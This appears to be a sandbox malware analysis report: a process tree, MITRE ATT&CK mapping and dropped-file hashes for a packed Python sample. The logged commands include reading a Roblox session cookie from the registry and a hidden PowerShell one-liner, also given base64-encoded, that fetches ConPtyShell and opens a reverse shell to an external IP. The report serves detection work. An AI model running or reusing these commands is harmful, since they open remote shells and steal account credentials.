    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5104
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5692
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:4784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:4384
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:5376
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:3076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:4700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:1660
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:3340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:3120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:2024
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:1832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:5428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:3300
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:2112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:3344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:1688
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:6120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:2428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:3836
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:2944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:3200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:3780
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:2824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:3432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:5760
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:5840
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:1204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:1396
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:1000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:1872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:3808
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:5124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:2268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:5712
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:1868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:2168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:2108
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:2092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:5600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:4212
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5696
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:2908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:4080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:1520
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:3560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:6108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:2376
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:2844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:1964
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:5544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:2288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:4416
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:1832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:5068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:3752
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:4668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:3656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:4492
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    PID:1184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:5156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    PID:620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    PID:2908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell.exe PowerShell.exe -WindowStyle hidden {IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 87.229.115.66 87}
    3⤵
    - Hide Artifacts: Hidden Window
    PID:3460
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe PowerShell.exe -WindowStyle hidden {IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 87.229.115.66 87}
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2484
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -encodedCommand SQBFAFgAKABJAFcAUgAgAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AYQBuAHQAbwBuAGkAbwBDAG8AYwBvAC8AQwBvAG4AUAB0AHkAUwBoAGUAbABsAC8AbQBhAHMAdABlAHIALwBJAG4AdgBvAGsAZQAtAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAHAAcwAxACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApADsAIABJAG4AdgBvAGsAZQAtAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgADgANwAuADIAMgA5AC4AMQAxADUALgA2ADYAIAA4ADcA -inputFormat xml -outputFormat text
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:3888
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x2xjvmd0\x2xjvmd0.cmdline"
        6⤵
        
        PID:4588
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9B9A.tmp" "c:\Users\Admin\AppData\Local\Temp\x2xjvmd0\CSCB5EA061D4F44F0DBCAFC32049C41CD8.TMP"
        7⤵
        
        PID:4980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
MD5 e6bcee6109b84febc5ffa8c6d9b2a547
SHA1 eb5de5de4575f11fea9fb8a5f72aee1c8b5b3dab
SHA512 3081253140a770e4c68087b76b905286143feb2fbafa1e0b284b50f69ec736153f85fad9305d7e7f1309d98cf470edea4ab89da3941e068631116d03cccf5333
TLSH
T1C6115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D145B83F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b4d2605b3421911dd23b203ceda3c674f6e4c59b93f9c9d10ef548e2461a3151
MD5 e6a8d33648820752b04254098d837621
SHA1 a24310e320c2b6dddfb808db69565d1ca0276e6d
SHA512 01180b5c095bfa465388173f8e0b8d234982aa4e1589058889727894e15834c54b89c46f7ba8d26582841986db1e038fbe38f813ac75419995eb7e0891a6a432
TLSH
T114115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D144B83F59ADE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 54aa570220e696de49a9a588711123e43032522c4578b6fa4f918d2666c1cb32
MD5 27db61c440595c38f5a7b661c618d0c9
SHA1 87613fdda39013791c068bdeec060f945fa2e908
SHA512 e367d57ce85719fa4e3cfd8083e0a5f71110b3f845c1ea7d3a0a3393066cfa90b96712701f044b731fab41ff6a751b7f4db794795c1f3aec955f642c3df25586
TLSH
T1FC115733F3CC8624C89A413650CEAC1036B587DB519ECE6BBB84D154B43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4aafe533d43fa82a504f0b1c739a5b062a69339087db865d7833b0472502827f
MD5 b953c78e1658af39c5c3e8db6ef956ac
SHA1 33cd7b2a87152f3850bb30ee5155a6962dd1eac9
SHA512 31e29d3d533078dd5dfcabe4359e616c6c47a4573e4dac1b607381dc7090589a5c6ad837dece0a5cdf5bd56f6958679e224ec2295359b28a268bcc8e060821a0
TLSH
T1AC115733B3CC8624C89A413650CEAC1036B587DB519EDE6BBB84D154B43F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

_raw_cbc.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\Crypto\Cipher\_raw_cbc.pyd
Size 22KB
SHA256 cb3ce4f65c9e18be6cbb504d79b594b51f38916e390dad73de4177fe88ce9c37
MD5 0d0450292a5cf48171411cc8bfbbf0f7
SHA1 5de70c8bab7003bbd4fdcadb5c0736b9e6d0014c
SHA512 ba6bbcc394e07fe09bb3a25e4aae9c4286516317d0b71d090b91aaec87fc10f61a4701aa45bc74cb216fff1e4ad881f62eb94d4ee2a3a9c8f04a954221b81d3a
SSDEEP 384:0eH7LVilCS9HOxmbUDy3s/e3ZvYfhaRkddOHGyL36SUlH:00LV9zEvSF4fLKS
TLSH
T165A21A003AAD50FBD42A833EC8A34E4AB126F5129356EBCF4379476D2D627C15B7E741
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_raw_cfb.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\Crypto\Cipher\_raw_cfb.pyd
Size 23KB
SHA256 6ca8711c8095bbc475d84f81fc8dfff7cd722ffe98e0c5430631ae067913a11f
MD5 0f4d8993f0d2bd829fea19a1074e9ce7
SHA1 4dfe8107d09e4d725bb887dc146b612b19818abf
SHA512 1e6f4bc9c682654bd18e1fc4bd26b1e3757c9f89dc5d0764b2e6c45db079af184875d7d3039161ea93d375e67f33e4fb48dcb63eae0c4ee3f98f1d2f7002b103
SSDEEP 384:Zih/LVilqSOH6vxbJ3KVFwdc1tvYf5OSY2ddOpKGyL36Mt:0LVwj1MvSTIKfLK
TLSH
T142B219047ADC10FBE46E833AC8634E57A426F5625392E7CF03A8476D2E63BC11B3A755
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_raw_ctr.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\Crypto\Cipher\_raw_ctr.pyd
Size 25KB
SHA256 ddf0b165c1c4eff98c4ac11e08c7beadcdd8cc76f495980a21df85ba4368762a
MD5 8f385dbacd6c787926ab370c59d8bba2
SHA1 953bad3e9121577fab4187311cb473d237f6cba3
SHA512 973b80559f238f6b0a83cd00a2870e909a0d34b3df1e6bb4d47d09395c4503ea8112fb25115232c7658e5de360b258b6612373a96e6a23cde098b60fe5579c1c
SSDEEP 384:rFhYBkBJIiYnGdG7GQ2buUK4MHSixS0CqeSbT5Yfp7jddOzURLauhh:rXe4JBri3yik0CkVS5uURLau
TLSH
T12DC22A01A39910E9F52A4334C8670F49E66AF5618371AACF4FB9867C2E53BC0B73E751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_raw_ecb.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\Crypto\Cipher\_raw_ecb.pyd
Size 21KB
SHA256 55cf117455aa2059367d89e508f5e2ad459545f38d01e8e7b7b0484897408980
MD5 ade53f8427f55435a110f3b5379bdde1
SHA1 90bdafccfab8b47450f8226b675e6a85c5b4fcce
SHA512 2856d4c1bbdd8d37c419c5df917a9cc158c79d7f2ee68782c23fb615d719d8fe61aaa1b5f5207f80c31dc381cd6d8c9dabd450dbc0c774ff8e0a95337fda18bd
SSDEEP 384:z8H6sZoaIHcvaGbwTB69j5iYSvYfw1+ddOlXol8H:oZfSvRvSwQs
TLSH
T171A209003AE810FBE4298379C8634E5A756AF5128352EBCF43B4477E1E62BC12B7E751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_raw_ofb.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\Crypto\Cipher\_raw_ofb.pyd
Size 22KB
SHA256 cdff737d7239fe4f39d76683d931c970a8550c27c3f7162574f2573aee755952
MD5 b894480d74efb92a7820f0ec1fc70557
SHA1 07eaf9f40f4fce9babe04f537ff9a4287ec69176
SHA512 498d31f040599fe3e4cfd9f586fc2fee7a056635e9c8fd995b418d6263d21f1708f891c60be09c08ccf01f7915e276aafb7abb84554280d11b25da4bdf3f3a75
SSDEEP 384:0OH7LVilCS9HOxmbUDy3i4OvYfghfddOHGyL36olH:0kLV9zjHvSW4fLK
TLSH
T18AA20A0036DD10FBD42A837AC8A34E46B526F5129356EBCF4374476E2EA2BC16B7D742
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_strxor.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\Crypto\Util\_strxor.pyd
Size 21KB
SHA256 ee59933eba41bca29b66af9421ba53ffc90223ac88ccd35056503af52a2813fe
MD5 8070eb2be9841525034a508cf16a6fd6
SHA1 84df6bceba52751f22841b1169d7cd090a4bb0c6
SHA512 33c5f4623a2e5afe404056b92556fdbaf2419d7b7728416d3368d760ddfde44a2739f551de26fa443d59294b8726a05a77733fee66abc3547073d85f2d4ebeee
SSDEEP 384:t8H6sZoaIHcvaGbwTB69j5i2W6vYfWdBCddOFjol8H:+ZfSvMvSEA0
TLSH
T181A209003AE810E7E4298339C8634E5BB56AF5138356EBCF43B5477D1E62BC12B7A751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\VCRUNTIME140.dll
Size 95KB
SHA256 9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1
MD5 f34eb034aa4a9735218686590cba2e8b
SHA1 2bc20acdcb201676b77a66fa7ec6b53fa2644713
SHA512 d27d5e65e8206bd7923cf2a3c4384fec0fc59e8bc29e25f8c03d039f3741c01d1a8c82979d7b88c10b209db31fbbec23909e976b3ee593dc33481f0050a445af
SSDEEP 1536:ywqHLG4SsAzAvadZw+1Hcx8uIYNUzUoHA4decbK/zJNuw6z5U:ytrfZ+jPYNzoHA4decbK/FNu51U
TLSH
T129A36C5A76A442BBD06BD274C1E34A1AF770B8408B3093CF07B6856A4F67BE05E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_asyncio.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\_asyncio.pyd
Size 60KB
SHA256 2c9f565254e4b2744d52b58f4960d5da1330c7846059b772044e4415804d933e
MD5 3aea41c0a41765d6b0eb3363804d94d0
SHA1 26f05e3e458d5b90326ea40c6bbf236a3dbd49f0
SHA512 a1f5eb597c43a053d28e16b48f365760189eeb129ac3ea1eaa3bb6648332c5f11a4a446d29dcd90e773858fb4b6367568fcd9c778ea1efee5d4972dcdfe4a0e6
SSDEEP 1536:YWbvivBeDp/HmflsqHEY8ZIv5n4U7Syy0:YWbvaBelmflsqHEPZIv5nvE0
TLSH
T1E5537B86E2908194D967A074D8A30F46E771F6945B0403CF62ACD29E3F6335247FEB66
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\_bz2.pyd
Size 78KB
SHA256 31dd9bfb64b1bee8faf925296028e2af907e6d933a83ddc570ebc82d11c43cfb
MD5 d61719bf7f3d7cdebdf6c846c32ddaca
SHA1 eda22e90e602c260834303bdf7a3c77ab38477d0
SHA512 e6c7eab95c18921439f63a30f76313d8380e66bd715afc44a89d386ae4e80c980c2632c170a445bad7446ee5f2c3ee233ccc7333757358340d551e664204e21f
SSDEEP 1536:IzXz7Bgrj7FUHfuwtvm8hbvwyhIvtVx7SywqLZ:kXzVMFOfuiRhbvwyhIvtVxiqt
TLSH
T1A3838C92B3A495B5F05BB27985B10357E371BD0D03A093AFB794822F2F03B816D6536E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_cffi_backend.cp310-win_amd64.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\_cffi_backend.cp310-win_amd64.pyd
Size 177KB
SHA256 2093e7e4f5359b38f0819bdef8314fda332a1427f22e09afc416e1edd5910fe1
MD5 6f1b90884343f717c5dc14f94ef5acea
SHA1 cca1a4dcf7a32bf698e75d58c5f130fb3572e423
SHA512 e2c673b75162d3432bab497bad3f5f15a9571910d25f1dffb655755c74457ac78e5311bd5b38d29a91aec4d3ef883ae5c062b9a3255b5800145eb997863a7d73
SSDEEP 3072:fp5LZ3sgWSqjfy8dBbm/6WnUsHozssS7piSTLkKyS7TlSyQH:fptZ8gW9jrBbQnfIzLIiSTLLymlSy
TLSH
T186045B56329C12B2D69351388D674B47E3B3B821174097CF01A4C6B61F2BBE27A7FB84
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\_ctypes.pyd
Size 117KB
SHA256 b545db2339ae74c523363b38835e8324799720f744c64e7142ddd48e4b619b68
MD5 3fc444a146f7d667169dcb4f48760f49
SHA1 350a1300abc33aa7ca077daba5a883878a3bca19
SHA512 1609f792583c6293abddf7f7376ffa0d33a7a895de4d8b2ecebaede74e8850b225b3bf0998b056e40e4ebffb5c97babccf52d3184b2b05072c0dbb5dcb1866f8
SSDEEP 3072:sW66GKh4hqyIVQoavMSutRSfrSd4etFx3FIvQPVv96:T6QKtkSu3SfrS3xr4
TLSH
T114C35A1B235400AAEA67507CC5B35E47DB71B859572083CF02A4C69E2F67BE36E3E706
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\_hashlib.pyd
Size 60KB
SHA256 9da79abfed52c7432a25a513f14134f3782c73ec7142e2d90223610eaef54303
MD5 0d75220cf4691af4f97ebcbd9a481c62
SHA1 dadc3d5476c83668a715750ed80176dbbb536ec7
SHA512 c00bd7a768e2eef7956d05f10330f3669b279866221085f9e9b97c4e553bb44356d041e29fd4337142ccbdf4e200769d69a235c1c5ddeb6fc64d537629eac112
SSDEEP 1536:J7ejSMEDZN4ghT1mjWvfJ3ZIv5Ihp7Syif:J7ejrE/Tp1mjWHJ3ZIv5I3Af
TLSH
T10B537C06A74440A5C57383B8D9930FABE672F5845311A7EF5364C28E2F237C367BA791
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\_lzma.pyd
Size 151KB
SHA256 75d450e973cd1ccbd0f9a35ba0d7e6d644125eb311cc432bb424a299d9a52ee0
MD5 afff5db126034438405debadb4b38f08
